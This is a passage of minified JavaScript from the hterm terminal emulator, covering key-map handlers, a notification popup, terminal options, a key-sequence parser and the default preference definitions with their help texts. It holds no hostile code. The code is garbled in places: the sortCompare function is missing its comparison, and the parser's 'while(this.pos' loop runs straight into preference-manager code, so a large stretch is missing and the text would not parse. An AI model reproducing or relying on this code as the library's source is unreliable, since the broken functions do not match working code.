_=function(e){if(this.keyboard.shiftInsertPaste&&e.shiftKey){return hterm.Keyboard.KeyActions.PASS}return"[2~"};hterm.Keyboard.KeyMap.prototype.onKeyHome_=function(e){if(this.keyboard.homeKeysScroll===e.shiftKey){if(e.altKey||e.ctrlKey||e.shiftKey||!this.keyboard.applicationCursor){return""}return"OH"}this.keyboard.terminal.scrollHome();return hterm.Keyboard.KeyActions.CANCEL};hterm.Keyboard.KeyMap.prototype.onKeyEnd_=function(e){if(this.keyboard.homeKeysScroll===e.shiftKey){if(e.altKey||e.ctrlKey||e.shiftKey||!this.keyboard.applicationCursor){return""}return"OF"}this.keyboard.terminal.scrollEnd();return hterm.Keyboard.KeyActions.CANCEL};hterm.Keyboard.KeyMap.prototype.onKeyPageUp_=function(e){if(this.keyboard.pageKeysScroll===e.shiftKey){return"[5~"}this.keyboard.terminal.scrollPageUp();return hterm.Keyboard.KeyActions.CANCEL};hterm.Keyboard.KeyMap.prototype.onKeyDel_=function(e){if(this.keyboard.altBackspaceIsMetaBackspace&&this.keyboard.altKeyPressed&&!e.altKey){return""}return"[3~"};hterm.Keyboard.KeyMap.prototype.onKeyPageDown_=function(e){if(this.keyboard.pageKeysScroll===e.shiftKey){return"[6~"}this.keyboard.terminal.scrollPageDown();return hterm.Keyboard.KeyActions.CANCEL};hterm.Keyboard.KeyMap.prototype.onKeyArrowUp_=function(e){if(!this.keyboard.applicationCursor&&e.shiftKey){this.keyboard.terminal.scrollLineUp();return hterm.Keyboard.KeyActions.CANCEL}return e.shiftKey||e.ctrlKey||e.altKey||e.metaKey||!this.keyboard.applicationCursor?"":"OA"};hterm.Keyboard.KeyMap.prototype.onKeyArrowDown_=function(e){if(!this.keyboard.applicationCursor&&e.shiftKey){this.keyboard.terminal.scrollLineDown();return hterm.Keyboard.KeyActions.CANCEL}return e.shiftKey||e.ctrlKey||e.altKey||e.metaKey||!this.keyboard.applicationCursor?"":"OB"};hterm.Keyboard.KeyMap.prototype.onClear_=function(e){this.keyboard.terminal.wipeContents();return hterm.Keyboard.KeyActions.CANCEL};hterm.Keyboard.KeyMap.prototype.onF11_=function(e){if(hterm.windowType!=="popup"&&hterm.windowType!=="app"&&!e.shiftKey){return hterm.Keyboard.KeyActions.PASS}else{return"[23~"}};hterm.Keyboard.KeyMap.prototype.onCtrlNum_=function(e,keyDef){function ctl(ch){return String.fromCharCode(ch.charCodeAt(0)-64)}if(this.keyboard.terminal.passCtrlNumber&&!e.shiftKey){return hterm.Keyboard.KeyActions.PASS}switch(keyDef.keyCap.substr(0,1)){case"1":return"1";case"2":return ctl("@");case"3":return ctl("[");case"4":return ctl("\\");case"5":return ctl("]");case"6":return ctl("^");case"7":return ctl("_");case"8":return"";case"9":return"9"}return hterm.Keyboard.KeyActions.PASS};hterm.Keyboard.KeyMap.prototype.onAltNum_=function(e){if(this.keyboard.terminal.passAltNumber&&!e.shiftKey){return hterm.Keyboard.KeyActions.PASS}return hterm.Keyboard.KeyActions.DEFAULT};hterm.Keyboard.KeyMap.prototype.onMetaNum_=function(e){if(this.keyboard.terminal.passMetaNumber&&!e.shiftKey){return hterm.Keyboard.KeyActions.PASS}return hterm.Keyboard.KeyActions.DEFAULT};hterm.Keyboard.KeyMap.prototype.onCtrlTab_=function(e){if(this.keyboard.terminal.passCtrlTab){return hterm.Keyboard.KeyActions.PASS}return hterm.Keyboard.KeyActions.STRIP};hterm.Keyboard.KeyMap.prototype.onCtrlW_=function(e){if(this.keyboard.terminal.passCtrlW){return hterm.Keyboard.KeyActions.PASS}return""};hterm.Keyboard.KeyMap.prototype.onCtrlT_=function(e){if(this.keyboard.terminal.passCtrlT){return hterm.Keyboard.KeyActions.PASS}return""};hterm.Keyboard.KeyMap.prototype.onCtrlShiftA_=function(e){this.keyboard.terminal.getScrollPort().selectAll();return hterm.Keyboard.KeyActions.CANCEL};hterm.Keyboard.KeyMap.prototype.onCtrlShiftF_=function(e){this.keyboard.terminal.findBar.display();return hterm.Keyboard.KeyActions.CANCEL};hterm.Keyboard.KeyMap.prototype.onCtrlC_=function(e){const selection=this.keyboard.terminal.getDocument().getSelection();if(!selection.isCollapsed){if(this.keyboard.ctrlCCopy&&!e.shiftKey){if(this.keyboard.terminal.clearSelectionAfterCopy){setTimeout(selection.collapseToEnd.bind(selection),50)}return hterm.Keyboard.KeyActions.PASS}if(!this.keyboard.ctrlCCopy&&e.shiftKey){if(this.keyboard.terminal.clearSelectionAfterCopy){setTimeout(selection.collapseToEnd.bind(selection),50)}this.keyboard.terminal.copySelectionToClipboard();return hterm.Keyboard.KeyActions.CANCEL}}return""};hterm.Keyboard.KeyMap.prototype.onCtrlN_=function(e){if(this.keyboard.terminal.passCtrlN){return hterm.Keyboard.KeyActions.PASS}if(e.shiftKey){lib.f.openWindow(globalThis.location.href,"","chrome=no,close=yes,resize=yes,scrollbars=yes,"+`minimizable=yes,width=${globalThis.innerWidth}`+`,height=${globalThis.innerHeight}`);return hterm.Keyboard.KeyActions.CANCEL}return""};hterm.Keyboard.KeyMap.prototype.onCtrlV_=function(e){if(!e.shiftKey&&this.keyboard.ctrlVPaste||e.shiftKey&&!this.keyboard.ctrlVPaste){if(this.keyboard.terminal.paste()!==false){return hterm.Keyboard.KeyActions.CANCEL}else{return hterm.Keyboard.KeyActions.PASS}}return""};hterm.Keyboard.KeyMap.prototype.onMetaN_=function(e){if(e.shiftKey){lib.f.openWindow(globalThis.location.href,"","chrome=no,close=yes,resize=yes,scrollbars=yes,"+`minimizable=yes,width=${globalThis.outerWidth}`+`,height=${globalThis.outerHeight}`);return hterm.Keyboard.KeyActions.CANCEL}return hterm.Keyboard.KeyActions.DEFAULT};hterm.Keyboard.KeyMap.prototype.onMetaC_=function(e,keyDef){const document=this.keyboard.terminal.getDocument();if(e.shiftKey||document.getSelection().isCollapsed){return keyDef.keyCap.substr(e.shiftKey?1:0,1)}if(this.keyboard.terminal.clearSelectionAfterCopy){setTimeout(function(){document.getSelection().collapseToEnd()},50)}return hterm.Keyboard.KeyActions.PASS};hterm.Keyboard.KeyMap.prototype.onMetaV_=function(e){if(e.shiftKey){return hterm.Keyboard.KeyActions.PASS}return this.keyboard.passMetaV?hterm.Keyboard.KeyActions.PASS:hterm.Keyboard.KeyActions.DEFAULT};hterm.Keyboard.KeyMap.prototype.onZoom_=function(e,keyDef){if(this.keyboard.ctrlPlusMinusZeroZoom===e.shiftKey){if(keyDef.keyCap=="-_"){return""}return hterm.Keyboard.KeyActions.CANCEL}const cap=keyDef.keyCap.substr(0,1);if(cap=="0"){this.keyboard.terminal.setFontSize(0)}else{let size=this.keyboard.terminal.getFontSize();if(cap=="-"||keyDef.keyCap=="[KP-]"){size-=1}else{size+=1}this.keyboard.terminal.setFontSize(size)}return hterm.Keyboard.KeyActions.CANCEL};hterm.Keyboard.KeyPattern=function(spec){this.wildcardCount=0;this.keyCode=spec.keyCode;hterm.Keyboard.KeyPattern.modifiers.forEach(function(mod){this[mod]=spec[mod]||false;if(this[mod]=="*"){this.wildcardCount++}}.bind(this))};hterm.Keyboard.KeyPattern.modifiers=["shift","ctrl","alt","meta"];hterm.Keyboard.KeyPattern.sortCompare=function(a,b){if(a.wildcardCountb.wildcardCount){return 1}return 0};hterm.Keyboard.KeyPattern.prototype.match_=function(obj,exactMatch){if(this.keyCode!=obj.keyCode){return false}let rv=true;hterm.Keyboard.KeyPattern.modifiers.forEach(function(mod){const modValue=mod in obj?obj[mod]:false;if(!rv||!exactMatch&&this[mod]=="*"||this[mod]==modValue){return}rv=false}.bind(this));return rv};hterm.Keyboard.KeyPattern.prototype.matchKeyDown=function(keyDown){return this.match_(keyDown,false)};hterm.Keyboard.KeyPattern.prototype.matchKeyPattern=function(keyPattern){return this.match_(keyPattern,true)};hterm.NotificationCenter=class{constructor(parent,reader=undefined){this.parent_=parent;this.reader_=reader;this.container_=this.newContainer_();this.timeout_=null;this.fadeout_=200}newContainer_(){const ele=this.parent_.ownerDocument.createElement("div");ele.setAttribute("role","dialog");ele.style.cssText="color: rgb(var(--hterm-background-color));"+"background-color: rgb(var(--hterm-foreground-color));"+"border-radius: 12px;"+'font: 500 var(--hterm-font-size) "Noto Sans", sans-serif;'+"opacity: 0.75;"+"padding: 0.923em 1.846em;"+"position: absolute;"+"user-select: none;"+"transition: opacity 180ms ease-in;"+"z-index: 10;";ele.addEventListener("mousedown",function(e){e.preventDefault();e.stopPropagation()},true);return ele}show(msg,{timeout=1500}={}){const node=typeof msg==="string"?new Text(msg):msg;if(this.container_.parentNode&&this.timeout_===null&&timeout!==null){return}this.container_.textContent="";this.container_.appendChild(node);this.container_.style.opacity="0.75";if(!this.container_.parentNode){this.parent_.appendChild(this.container_)}const size=this.container_.getBoundingClientRect();this.container_.style.top=`calc(50% - ${size.height/2}px)`;this.container_.style.left=`calc(50% - ${size.width/2}px)`;if(this.reader_){this.reader_.assertiveAnnounce(this.container_.textContent)}if(this.timeout_){clearTimeout(this.timeout_);this.timeout_=null}if(timeout===null){return}this.timeout_=setTimeout(()=>{this.container_.style.opacity="0";this.timeout_=setTimeout(()=>this.hide(),this.fadeout_)},timeout)}hide(){if(this.timeout_){clearTimeout(this.timeout_);this.timeout_=null}this.container_.remove();this.container_.textContent=""}};hterm.Options=function(copy=undefined){this.wraparound=copy?copy.wraparound:true;this.reverseWraparound=copy?copy.reverseWraparound:false;this.originMode=copy?copy.originMode:false;this.autoCarriageReturn=copy?copy.autoCarriageReturn:false;this.cursorVisible=copy?copy.cursorVisible:false;this.cursorBlink=copy?copy.cursorBlink:false;this.insertMode=copy?copy.insertMode:false;this.reverseVideo=copy?copy.reverseVideo:false;this.bracketedPaste=copy?copy.bracketedPaste:false};hterm.Parser=function(){this.source="";this.pos=0;this.ch=null};hterm.Parser.prototype.error=function(message){return new Error("Parse error at "+this.pos+": "+message)};hterm.Parser.prototype.isComplete=function(){return this.pos==this.source.length};hterm.Parser.prototype.reset=function(source,pos=0){this.source=source;this.pos=pos;this.ch=source.substr(0,1)};hterm.Parser.prototype.parseKeySequence=function(){const rv={keyCode:null};for(const k in hterm.Parser.identifiers.modifierKeys){rv[hterm.Parser.identifiers.modifierKeys[k]]=false}while(this.pos{this.definePreference(key,entry["default"])})};hterm.PreferenceManager.prefix_="/hterm/profiles/";hterm.PreferenceManager.listProfiles=function(storage,callback){storage.getItems(null).then(items=>{const profiles={};for(const key of Object.keys(items)){if(key.startsWith(hterm.PreferenceManager.prefix_)){const subKey=key.slice(hterm.PreferenceManager.prefix_.length);profiles[subKey.split("/",1)[0]]=true}}callback(Object.keys(profiles))})};hterm.PreferenceManager.Categories={Keyboard:"Keyboard",Appearance:"Appearance",CopyPaste:"CopyPaste",Sounds:"Sounds",Scrolling:"Scrolling",Encoding:"Encoding",Extensions:"Extensions",Miscellaneous:"Miscellaneous"};hterm.PreferenceManager.categoryDefinitions=[{id:hterm.PreferenceManager.Categories.Appearance,text:"Appearance (fonts, colors, images)"},{id:hterm.PreferenceManager.Categories.CopyPaste,text:"Copy & Paste"},{id:hterm.PreferenceManager.Categories.Encoding,text:"Encoding"},{id:hterm.PreferenceManager.Categories.Keyboard,text:"Keyboard"},{id:hterm.PreferenceManager.Categories.Scrolling,text:"Scrolling"},{id:hterm.PreferenceManager.Categories.Sounds,text:"Sounds"},{id:hterm.PreferenceManager.Categories.Extensions,text:"Extensions"},{id:hterm.PreferenceManager.Categories.Miscellaneous,text:"Miscellaneous"}];hterm.PreferenceManager.definePref_=function(name,category,defaultValue,type,help){return{name:name,category:category,default:defaultValue,type:type,help:help}};hterm.PreferenceManager.defaultPreferences={"alt-gr-mode":hterm.PreferenceManager.definePref_("AltGr key mode",hterm.PreferenceManager.Categories.Keyboard,null,[null,"none","ctrl-alt","left-alt","right-alt"],`Select an AltGr detection heuristic.\n`+`\n`+`'null': Autodetect based on navigator.language:\n`+` 'en-us' => 'none', else => 'right-alt'\n`+`'none': Disable any AltGr emulation.\n`+`'ctrl-alt': Assume Ctrl+Alt means AltGr.\n`+`'left-alt': Assume left Alt means AltGr.\n`+`'right-alt': Assume right Alt means AltGr.`),"alt-backspace-is-meta-backspace":hterm.PreferenceManager.definePref_("Alt+Backspace is Meta+Backspace",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`If set, undoes the ChromeOS Alt+Backspace->Delete remap, so that `+`Alt+Backspace indeed is Alt+Backspace.`),"alt-is-meta":hterm.PreferenceManager.definePref_("Treat Alt key as Meta key",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`Whether the Alt key acts as a Meta key or as a distinct Alt key.`),"alt-sends-what":hterm.PreferenceManager.definePref_("Alt key modifier handling",hterm.PreferenceManager.Categories.Keyboard,"escape",["escape","8-bit","browser-key"],`Controls how the Alt key is handled.\n`+`\n`+` escape: Send an ESC prefix.\n`+` 8-bit: Add 128 to the typed character as in xterm.\n`+` browser-key: Wait for the keypress event and see what the browser\n`+` says. (This won't work well on platforms where the browser\n`+` performs a default action for some Alt sequences.)`),"audible-bell-sound":hterm.PreferenceManager.definePref_("Alert bell sound (URI)",hterm.PreferenceManager.Categories.Sounds,"lib-resource:hterm/audio/bell","url",`URL of the terminal bell sound. Leave it blank for no audible bell.`),"desktop-notification-bell":hterm.PreferenceManager.definePref_("Create desktop notifications for alert bells",hterm.PreferenceManager.Categories.Sounds,false,"bool",`If true, terminal bells in the background will create a Web `+`Notification. https://www.w3.org/TR/notifications/\n`+`\n`+`Displaying notifications requires permission from the user. When this `+`option is set to true, hterm will attempt to ask the user for `+`permission if necessary. Browsers might not show this permission `+`request if it was not triggered by a user action.\n`+`\n`+`Chrome extensions with the "notifications" permission have permission `+`to display notifications.`),"background-color":hterm.PreferenceManager.definePref_("Background color",hterm.PreferenceManager.Categories.Appearance,"rgb(16, 16, 16)","color",`The background color for text with no other color attributes.`),"background-image":hterm.PreferenceManager.definePref_("Background image",hterm.PreferenceManager.Categories.Appearance,"","string",`CSS value of the background image. Leave it blank for no image.\n`+`\n`+`For example:\n`+` url(https://goo.gl/anedTK)\n`+` linear-gradient(top bottom, blue, red)`),"background-size":hterm.PreferenceManager.definePref_("Background image size",hterm.PreferenceManager.Categories.Appearance,"","string",`CSS value of the background image size.`),"background-position":hterm.PreferenceManager.definePref_("Background image position",hterm.PreferenceManager.Categories.Appearance,"","string",`CSS value of the background image position.\n`+`\n`+`For example:\n`+` 10% 10%\n`+` center`),"backspace-sends-backspace":hterm.PreferenceManager.definePref_("Backspace key behavior",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`If true, the Backspace key will send BS ('\\x08', aka ^H). Otherwise `+`the Backspace key will send '\\x7f'.`),"character-map-overrides":hterm.PreferenceManager.definePref_("Character map overrides",hterm.PreferenceManager.Categories.Appearance,null,"value",`This is specified as an object. It is a sparse array, where each `+`property is the character set code and the value is an object that is `+`a sparse array itself. In that sparse array, each property is the `+`received character and the value is the displayed character.\n`+`\n`+`For example:\n`+`{ "0": {\n`+` "+": "\\u2192",\n`+` ",": "\\u2190",\n`+` "-": "\\u2191",\n`+` ".": "\\u2193",\n`+` "0": "\\u2588"\n} }`),"close-on-exit":hterm.PreferenceManager.definePref_("Close window on exit",hterm.PreferenceManager.Categories.Miscellaneous,true,"bool",`Whether to close the window when the command finishes executing.`),"cursor-blink":hterm.PreferenceManager.definePref_("Cursor blink",hterm.PreferenceManager.Categories.Appearance,false,"bool",`Whether the text cursor blinks by default. This can be toggled at `+`runtime via terminal escape sequences.`),"cursor-blink-cycle":hterm.PreferenceManager.definePref_("Cursor blink rate",hterm.PreferenceManager.Categories.Appearance,[1e3,500],"value",`The text cursor blink rate in milliseconds.\n`+`\n`+`A two element array, the first of which is how long the text cursor `+`should be on, second is how long it should be off.`),"cursor-shape":hterm.PreferenceManager.definePref_("Text cursor shape",hterm.PreferenceManager.Categories.Appearance,"BLOCK",["BLOCK","BEAM","UNDERLINE"],`The shape of the visible text cursor. This can be changed at `+`runtime via terminal escape sequences.`),"cursor-color":hterm.PreferenceManager.definePref_("Text cursor color",hterm.PreferenceManager.Categories.Appearance,"rgba(255, 0, 0, 0.5)","color",`The color of the visible text cursor.`),"color-palette-overrides":hterm.PreferenceManager.definePref_("Initial color palette",hterm.PreferenceManager.Categories.Appearance,null,"value",`Override colors in the default palette.\n`+`\n`+`This can be specified as an array or an object. If specified as an `+`object it is assumed to be a sparse array, where each property `+`is a numeric index into the color palette.\n`+`\n`+`Values can be specified as almost any CSS color value. This `+`includes #RGB, #RRGGBB, rgb(...), rgba(...), and any color names `+`that are also part of the standard X11 rgb.txt file.\n`+`\n`+`You can use 'null' to specify that the default value should be not `+`be changed. This is useful for skipping a small number of indices `+`when the value is specified as an array.\n`+`\n`+`For example, these both set color index 1 to blue:\n`+` {1: "#0000ff"}\n`+` [null, "#0000ff"]`),"copy-on-select":hterm.PreferenceManager.definePref_("Automatically copy selected content",hterm.PreferenceManager.Categories.CopyPaste,true,"bool",`Automatically copy mouse selection to the clipboard.`),"use-default-window-copy":hterm.PreferenceManager.definePref_("Let the browser handle text copying",hterm.PreferenceManager.Categories.CopyPaste,false,"bool",`Whether to use the default browser/OS's copy behavior.\n`+`\n`+`Allow the browser/OS to handle the copy event directly which might `+`improve compatibility with some systems (where copying doesn't work `+`at all), but makes the text selection less robust.\n`+`\n`+`For example, long lines that were automatically line wrapped will `+`be copied with the newlines still in them.`),"clear-selection-after-copy":hterm.PreferenceManager.definePref_("Automatically clear text selection",hterm.PreferenceManager.Categories.CopyPaste,true,"bool",`Whether to clear the selection after copying.`),"ctrl-plus-minus-zero-zoom":hterm.PreferenceManager.definePref_("Ctrl++/-/0 zoom behavior",hterm.PreferenceManager.Categories.Keyboard,true,"bool",`If true, Ctrl+Plus/Minus/Zero controls zoom.\n`+`If false, Ctrl+Shift+Plus/Minus/Zero controls zoom, Ctrl+Minus sends `+`^_, Ctrl+Plus/Zero do nothing.`),"ctrl-c-copy":hterm.PreferenceManager.definePref_("Ctrl+C copy behavior",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`Ctrl+C copies if true, send ^C to host if false.\n`+`Ctrl+Shift+C sends ^C to host if true, copies if false.`),"ctrl-v-paste":hterm.PreferenceManager.definePref_("Ctrl+V paste behavior",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`Ctrl+V pastes if true, send ^V to host if false.\n`+`Ctrl+Shift+V sends ^V to host if true, pastes if false.`),"east-asian-ambiguous-as-two-column":hterm.PreferenceManager.definePref_("East Asian Ambiguous use two columns",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`Whether East Asian Ambiguous characters have two column width.`),"enable-8-bit-control":hterm.PreferenceManager.definePref_("Support non-UTF-8 C1 control characters",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`True to enable 8-bit control characters, false to ignore them.\n`+`\n`+`We'll respect the two-byte versions of these control characters `+`regardless of this setting.`),"enable-bold":hterm.PreferenceManager.definePref_("Bold text behavior",hterm.PreferenceManager.Categories.Appearance,null,"tristate",`If true, use bold weight font for text with the bold/bright `+`attribute. False to use the normal weight font. Null to autodetect.`),"enable-bold-as-bright":hterm.PreferenceManager.definePref_("Use bright colors with bold text",hterm.PreferenceManager.Categories.Appearance,true,"bool",`If true, use bright colors (8-15 on a 16 color palette) for any text `+`with the bold attribute. False otherwise.`),"enable-blink":hterm.PreferenceManager.definePref_("Enable blinking text",hterm.PreferenceManager.Categories.Appearance,true,"bool",`If true, respect the blink attribute. False to ignore it.`),"enable-clipboard-notice":hterm.PreferenceManager.definePref_("Show notification when copying content",hterm.PreferenceManager.Categories.CopyPaste,true,"bool",`Whether to show a message in the terminal when the host writes to the `+`clipboard.`),"enable-clipboard-write":hterm.PreferenceManager.definePref_("Allow remote clipboard writes",hterm.PreferenceManager.Categories.CopyPaste,true,"bool",`Allow the remote host to write directly to the local system `+`clipboard.\n`+`Read access is never granted regardless of this setting.\n`+`\n`+`This is used to control access to features like OSC-52.`),"enable-dec12":hterm.PreferenceManager.definePref_("Allow changing of text cursor blinking",hterm.PreferenceManager.Categories.Miscellaneous,false,"bool",`Respect the host's attempt to change the text cursor blink status `+`using DEC Private Mode 12.`),"enable-csi-j-3":hterm.PreferenceManager.definePref_("Allow clearing of scrollback buffer (CSI-J-3)",hterm.PreferenceManager.Categories.Miscellaneous,true,"bool",`Whether the Erase Saved Lines function (mode 3) of the Erase Display `+`command (CSI-J) may clear the terminal scrollback buffer.\n`+`\n`+`Enabling this by default is safe.`),environment:hterm.PreferenceManager.definePref_("Environment variables",hterm.PreferenceManager.Categories.Miscellaneous,{NCURSES_NO_UTF8_ACS:"1",TERM:"xterm-256color",COLORTERM:"truecolor"},"value",`The initial set of environment variables, as an object.`),"find-result-color":hterm.PreferenceManager.definePref_("Find results highlight color",hterm.PreferenceManager.Categories.Appearance,"rgba(102, 204, 255, 0.4)","color",`The background color to highlight find results.`),"find-result-selected-color":hterm.PreferenceManager.definePref_("Find results selected highlight color",hterm.PreferenceManager.Categories.Appearance,"rgba(102, 204, 255, 0.8)","color",`The background color to highlight the selected find result.`),"font-family":hterm.PreferenceManager.definePref_("Text font family",hterm.PreferenceManager.Categories.Appearance,'"DejaVu Sans Mono", "Noto Sans Mono", "Everson Mono", FreeMono, '+"Menlo, Terminal, monospace","string",`Default font family for the terminal text.`),"font-size":hterm.PreferenceManager.definePref_("Text font size",hterm.PreferenceManager.Categories.Appearance,15,"int",`The default font size in pixels.`),"font-smoothing":hterm.PreferenceManager.definePref_("Text font smoothing",hterm.PreferenceManager.Categories.Appearance,"antialiased","string",`CSS font-smoothing property.`),"line-height-padding-size":hterm.PreferenceManager.definePref_("Line height padding size",hterm.PreferenceManager.Categories.Appearance,0,"int",`The padding size in pixels between each row of the terminal screen.`),"foreground-color":hterm.PreferenceManager.definePref_("Text color",hterm.PreferenceManager.Categories.Appearance,"rgb(240, 240, 240)","color",`The foreground color for text with no other color attributes.`),"enable-resize-status":hterm.PreferenceManager.definePref_("Show terminal dimensions when resized",hterm.PreferenceManager.Categories.Appearance,false,"bool",`Whether to show terminal dimensions when the terminal changes size.`),"hide-mouse-while-typing":hterm.PreferenceManager.definePref_("Hide mouse cursor while typing",hterm.PreferenceManager.Categories.Keyboard,null,"tristate",`Whether to automatically hide the mouse cursor when typing. `+`By default, autodetect whether the platform/OS handles this.\n`+`\n`+`Note: Your operating system might override this setting and thus you `+`might not be able to always disable it.`),"home-keys-scroll":hterm.PreferenceManager.definePref_("Home/End key scroll behavior",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`If true, Home/End controls the terminal scrollbar and Shift+Home/`+`Shift+End are sent to the remote host. If false, then Home/End are `+`sent to the remote host and Shift+Home/Shift+End scrolls.`),keybindings:hterm.PreferenceManager.definePref_("Keyboard bindings/shortcuts",hterm.PreferenceManager.Categories.Keyboard,null,"value",`A map of key sequence to key actions. Key sequences include zero or `+`more modifier keys followed by a key code. Key codes can be decimal `+`or hexadecimal numbers, or a key identifier. Key actions can be `+`specified as a string to send to the host, or an action identifier. `+`For a full explanation of the format, see https://hterm.org/x/docs/keyboard-bindings.\n`+`\n`+`Sample keybindings:\n`+`{\n`+` "Ctrl+Alt+K": "clearTerminal",\n`+` "Ctrl+Shift+L": "PASS",\n`+` "Ctrl+H": "'Hello World'"\n`+`}`),"keybindings-os-defaults":hterm.PreferenceManager.definePref_("Use default OS Keyboard bindings/shortcuts",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`Whether common OS keyboard bindings should be respected instead of `+`always capturing for hterm's own use.`),"media-keys-are-fkeys":hterm.PreferenceManager.definePref_("Media keys are Fkeys",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`If true, convert media keys to their Fkey equivalent. If false, let `+`the browser handle the keys.`),"meta-sends-escape":hterm.PreferenceManager.definePref_("Meta key modifier handling",hterm.PreferenceManager.Categories.Keyboard,true,"bool",`Send an ESC prefix when pressing a key while holding the Meta key.\n`+`\n`+`For example, when enabled, pressing Meta+K will send ^[k as if you `+`typed Escape then k. When disabled, only k will be sent.`),"mouse-right-click-paste":hterm.PreferenceManager.definePref_("Mouse right clicks paste content",hterm.PreferenceManager.Categories.CopyPaste,true,"bool",`Paste on right mouse button clicks.\n`+`\n`+`This option is independent of the "mouse-paste-button" setting.\n`+`\n`+`Note: The primary & secondary buttons are handled for you with left `+`& right handed mice.`),"mouse-paste-button":hterm.PreferenceManager.definePref_("Mouse button paste",hterm.PreferenceManager.Categories.CopyPaste,null,[null,0,1,2,3,4,5,6],`The mouse button to use for pasting.\n`+`\n`+`For autodetect, we'll use the middle mouse button for non-X11 `+`platforms (including ChromeOS). On X11, we'll use the right mouse `+`button (since the window manager should handle pasting via the middle `+`mouse button).\n`+`\n`+`0 == left (primary) button.\n`+`1 == middle (auxiliary) button.\n`+`2 == right (secondary) button.\n`+`\n`+`This option is independent of the setting for right-click paste.\n`+`\n`+`Note: The primary & secondary buttons are handled for you with left `+`& right handed mice.`),"screen-padding-size":hterm.PreferenceManager.definePref_("Screen padding size",hterm.PreferenceManager.Categories.Appearance,8,"int",`The padding size in pixels around the border of the terminal screen.\n`+`\n`+`This controls the size of the border around the terminal screen so `+`the user can add some visible padding to the edges of the screen.`),"screen-border-size":hterm.PreferenceManager.definePref_("Screen border size",hterm.PreferenceManager.Categories.Appearance,0,"int",`The border size in pixels around the terminal screen.\n`+`\n`+`This controls the size of the border around the terminal screen to `+`create a visible line at the edges of the screen.`),"screen-border-color":hterm.PreferenceManager.definePref_("Screen border color",hterm.PreferenceManager.Categories.Appearance,"rgb(128, 128, 128)","color",`The color for the border around the terminal screen.\n`+`\n`+`This controls the color of the border around the terminal screen to `+`create a visible line at the edges of the screen.`),"word-break-match-left":hterm.PreferenceManager.definePref_("Automatic selection halting (to the left)",hterm.PreferenceManager.Categories.CopyPaste,"[^\\s[\\](){}<>\"'^!@#$%&*,;:`‘“‹«]","string",`Regular expression to halt matching to the left (start) of a `+`selection.\n`+`\n`+`Normally this is a character class to reject specific characters.\n`+`We allow "~" and "." by default as paths frequently start with those.`),"word-break-match-right":hterm.PreferenceManager.definePref_("Automatic selection halting (to the right)",hterm.PreferenceManager.Categories.CopyPaste,"[^\\s[\\](){}<>\"'^!@#$%&*,;:~.`’”›»]","string",`Regular expression to halt matching to the right (end) of a `+`selection.\n`+`\n`+`Normally this is a character class to reject specific characters.`),"word-break-match-middle":hterm.PreferenceManager.definePref_("Word break characters",hterm.PreferenceManager.Categories.CopyPaste,"[^\\s[\\](){}<>\"'^]*","string",`Regular expression to match all the characters in the middle.\n`+`\n`+`Normally this is a character class to reject specific characters.\n`+`\n`+`Used to expand the selection surrounding the starting point.`),"page-keys-scroll":hterm.PreferenceManager.definePref_("Page Up/Down key scroll behavior",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`If true, Page Up/Page Down controls the terminal scrollbar and `+`Shift+Page Up/Shift+Page Down are sent to the remote host. If false, `+`then Page Up/Page Down are sent to the remote host and Shift+Page Up/`+`Shift+Page Down scrolls.`),"pass-alt-number":hterm.PreferenceManager.definePref_("Alt+1..9 switch tab/app behavior",hterm.PreferenceManager.Categories.Keyboard,null,"tristate",`Whether Alt+1..9 is passed to the browser.\n`+`\n`+`This is handy when running hterm in a browser tab, so that you don't `+`lose Chrome's "switch to tab/app" keyboard shortcuts. When not `+`running in a tab it's better to send these keys to the host so they `+`can be used in vim or emacs.\n`+`\n`+`If true, Alt+1..9 will be handled by the browser. If false, Alt+1..9 `+`will be sent to the host. If null, autodetect based on browser `+`platform and window type.`),"pass-ctrl-number":hterm.PreferenceManager.definePref_("Ctrl+1..9 switch tab behavior",hterm.PreferenceManager.Categories.Keyboard,null,"tristate",`Whether Ctrl+1..9 is passed to the browser.\n`+`\n`+`This is handy when running hterm in a browser tab, so that you don't `+`lose Chrome's "switch to tab" keyboard shortcuts. When not running `+`in a tab it's better to send these keys to the host so they can be `+`used in vim or emacs.\n`+`\n`+`If true, Ctrl+1..9 will be handled by the browser. If false, `+`Ctrl+1..9 will be sent to the host. If null, autodetect based on `+`browser platform and window type.`),"pass-ctrl-n":hterm.PreferenceManager.definePref_("Ctrl+N new window behavior",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`Whether Ctrl+N is passed to the browser.\n`+`\n`+`If true, Ctrl+N will be handled by the browser as the "new window" `+`keyboard shortcut. If false, Ctrl+N will be sent to the host.`),"pass-ctrl-t":hterm.PreferenceManager.definePref_("Ctrl+T new tab behavior",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`Whether Ctrl+T is passed to the browser.\n`+`\n`+`If true, Ctrl+T will be handled by the browser as the "new tab" `+`keyboard shortcut. If false, Ctrl+T will be sent to the host.`),"pass-ctrl-tab":hterm.PreferenceManager.definePref_("Ctrl+Tab switch tab behavior",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`Whether Ctrl+Tab and Ctrl+Shift+Tab are passed to the browser.\n`+`\n`+`If true, Ctrl+Tab and Ctrl+Shift+Tab will be handled by the browser `+`as the "next/previous tab" keyboard shortcut. If false, the Tab `+`key is sent to the host without Ctrl or Shift.`),"pass-ctrl-w":hterm.PreferenceManager.definePref_("Ctrl+W close tab behavior",hterm.PreferenceManager.Categories.Keyboard,false,"bool",`Whether Ctrl+W is passed to the browser.\n`+`\n`+`If true, Ctrl+W will be handled by the browser as the "close tab" `+`keyboard shortcut. If false, Ctrl+W will be sent to the host.`),"pass-meta-number":hterm.PreferenceManager.definePref_("Meta+1..9 switch tab behavior",hterm.PreferenceManager.Categories.Keyboard,null,"tristate",`Whether Meta+1..9 is passed to the browser.\n`+`\n`+`This is handy when running hterm in a browser tab, so that you don't `+`lose Chrome's "switch to tab" keyboard shortcuts. When not running `+`in a tab it's better to send these keys to the host so they can be `+`used in vim or emacs.\n`+`\n`+`If true, Meta+1..9 will be 